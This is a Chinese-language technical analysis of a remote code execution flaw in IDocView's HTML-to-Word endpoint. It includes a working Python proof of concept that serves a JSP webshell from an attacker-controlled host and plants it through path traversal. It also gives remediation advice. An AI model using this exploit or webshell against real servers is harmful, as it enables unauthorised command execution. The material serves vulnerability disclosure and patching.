IDocView前台远程代码执行漏洞分析
字数 1249 2025-08-10 08:28:35

IDocView前台远程代码执行漏洞分析教学文档

漏洞概述

IDocView系统存在一个前台远程代码执行漏洞,攻击者可以通过精心构造的请求实现任意文件上传,最终导致远程代码执行。该漏洞存在于HTML转Word功能中,由于对远程文件下载和路径处理的缺陷导致。

影响范围

  • 受影响版本:iDocView < 13.10.1_20231115
  • 系统架构:Tomcat+Spring-Mvc部署在Windows环境中

漏洞原理

漏洞利用链由以下几个关键点组成:

  1. 未授权访问:系统对upload和download接口的身份验证被关闭(thdViewCheckSwitch=false)
  2. 远程文件下载:系统会下载用户提供的URL内容并解析其中的资源链接
  3. 路径过滤缺陷:解析下载资源时存在路径遍历漏洞,允许写入任意目录
  4. JSP文件上传:过滤机制遗漏了对JSP文件的检查

技术细节分析

漏洞入口

/html/2word接口对应的处理函数为com.idocv.docview.controller.HtmlController#toWord,其主要流程:

  1. 计算URL的MD5值作为子目录名
  2. 检查子目录是否存在,不存在则下载URL资源
  3. 检查是否存在md5Url + ".docx"文件
  4. 不存在则通过pandoc.exe生成Word文件
  5. 返回生成的Word文件

关键函数分析

com.idocv.docview.util.GrabWebPageUtil#downloadHtml函数负责下载和解析网页内容:

  1. 第一次调用getWebPage下载原始URL内容

    • 设置了请求头
    • 下载内容后写入index.html(文件名固定)
    • 过滤了ASP、ASPX、PHP等扩展名,但遗漏了JSP
  2. 解析HTML内容中的资源链接(img、link、script标签)

    • 解析出的链接加入GrabUtility.filesToGrab
    • 对这些资源进行二次下载
  3. 二次下载时路径处理存在缺陷

    • 如果URL路径包含../可导致目录穿越
    • 文件名取自URL最后一个/后的部分

漏洞利用步骤

  1. 准备恶意HTML文件(links.html)包含精心构造的资源链接:

    <link href="http://attacker-server/..\..\..\..\docview\WEB-INF\views\404.jsp">
    
  2. 向目标发送请求触发漏洞:

    POST /docview/html/2word
    url=http://attacker-server/links.html
    
  3. 目标服务器会:

    • 下载links.html
    • 解析其中的link标签
    • 尝试下载404.jsp并保存到WEB-INF/views目录
  4. 攻击者控制的服务端返回JSP webshell内容

  5. 访问任意不存在的路由触发404页面,执行webshell

漏洞验证POC

import random
import threading
import time
import requests
from flask import Flask, request

app = Flask(__name__)

raw_404_page = "404 Page Text"
jsp_webshell = """
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      } catch(IOException e) { e.printStackTrace(); }
   }
%>
<%=output %>"""

@app.route('/<path:path>')
def serve_content(path):
    if "jsp" in request.url:
        return raw_404_page + jsp_webshell
    elif "links" in request.url:
        return """<link href="http://127.0.0.1:5050/..\\..\\..\\..\\docview\\WEB-INF\\views\\404.jsp">"""
    else:
        return 'who are you???'

def exp(host):
    time.sleep(5)
    url = host + '/html/2word'
    r = requests.post(url,
                     data={
                         "url": f"http://127.0.0.1:5050/links.html_{random.Random().randint(0, 1000000)}"
                     })
    print(r.status_code)
    print(r.text)
    requests.get(host+"/xxx?cmd=calc")

if __name__ == '__main__':
    threading.Thread(target=exp,args=("http://target-ip:8080/docview",)).start()
    app.run(port=5050, debug=True, host='0.0.0.0')

修复建议

  1. html/2word接口添加身份验证
  2. 完善文件下载过滤机制,增加对JSP文件的检查
  3. 对下载路径进行规范化处理,防止目录遍历
  4. 更新到最新版本(13.10.1_20231115或更高)

总结

该漏洞利用IDocView系统HTML转Word功能中的多个安全缺陷,通过精心构造的请求实现远程代码执行。漏洞利用链完整,危害性高,建议受影响用户及时升级修复。

IDocView前台远程代码执行漏洞分析教学文档 漏洞概述 IDocView系统存在一个前台远程代码执行漏洞,攻击者可以通过精心构造的请求实现任意文件上传,最终导致远程代码执行。该漏洞存在于HTML转Word功能中,由于对远程文件下载和路径处理的缺陷导致。 影响范围 受影响版本:iDocView < 13.10.1_ 20231115 系统架构:Tomcat+Spring-Mvc部署在Windows环境中 漏洞原理 漏洞利用链由以下几个关键点组成: 未授权访问 :系统对upload和download接口的身份验证被关闭( thdViewCheckSwitch=false ) 远程文件下载 :系统会下载用户提供的URL内容并解析其中的资源链接 路径过滤缺陷 :解析下载资源时存在路径遍历漏洞,允许写入任意目录 JSP文件上传 :过滤机制遗漏了对JSP文件的检查 技术细节分析 漏洞入口 /html/2word 接口对应的处理函数为 com.idocv.docview.controller.HtmlController#toWord ,其主要流程: 计算URL的MD5值作为子目录名 检查子目录是否存在,不存在则下载URL资源 检查是否存在 md5Url + ".docx" 文件 不存在则通过 pandoc.exe 生成Word文件 返回生成的Word文件 关键函数分析 com.idocv.docview.util.GrabWebPageUtil#downloadHtml 函数负责下载和解析网页内容: 第一次调用 getWebPage 下载原始URL内容 设置了请求头 下载内容后写入 index.html (文件名固定) 过滤了ASP、ASPX、PHP等扩展名,但遗漏了JSP 解析HTML内容中的资源链接(img、link、script标签) 解析出的链接加入 GrabUtility.filesToGrab 对这些资源进行二次下载 二次下载时路径处理存在缺陷 如果URL路径包含 ../ 可导致目录穿越 文件名取自URL最后一个 / 后的部分 漏洞利用步骤 准备恶意HTML文件(links.html)包含精心构造的资源链接: 向目标发送请求触发漏洞: 目标服务器会: 下载links.html 解析其中的link标签 尝试下载 404.jsp 并保存到WEB-INF/views目录 攻击者控制的服务端返回JSP webshell内容 访问任意不存在的路由触发404页面,执行webshell 漏洞验证POC 修复建议 对 html/2word 接口添加身份验证 完善文件下载过滤机制,增加对JSP文件的检查 对下载路径进行规范化处理,防止目录遍历 更新到最新版本(13.10.1_ 20231115或更高) 总结 该漏洞利用IDocView系统HTML转Word功能中的多个安全缺陷,通过精心构造的请求实现远程代码执行。漏洞利用链完整,危害性高,建议受影响用户及时升级修复。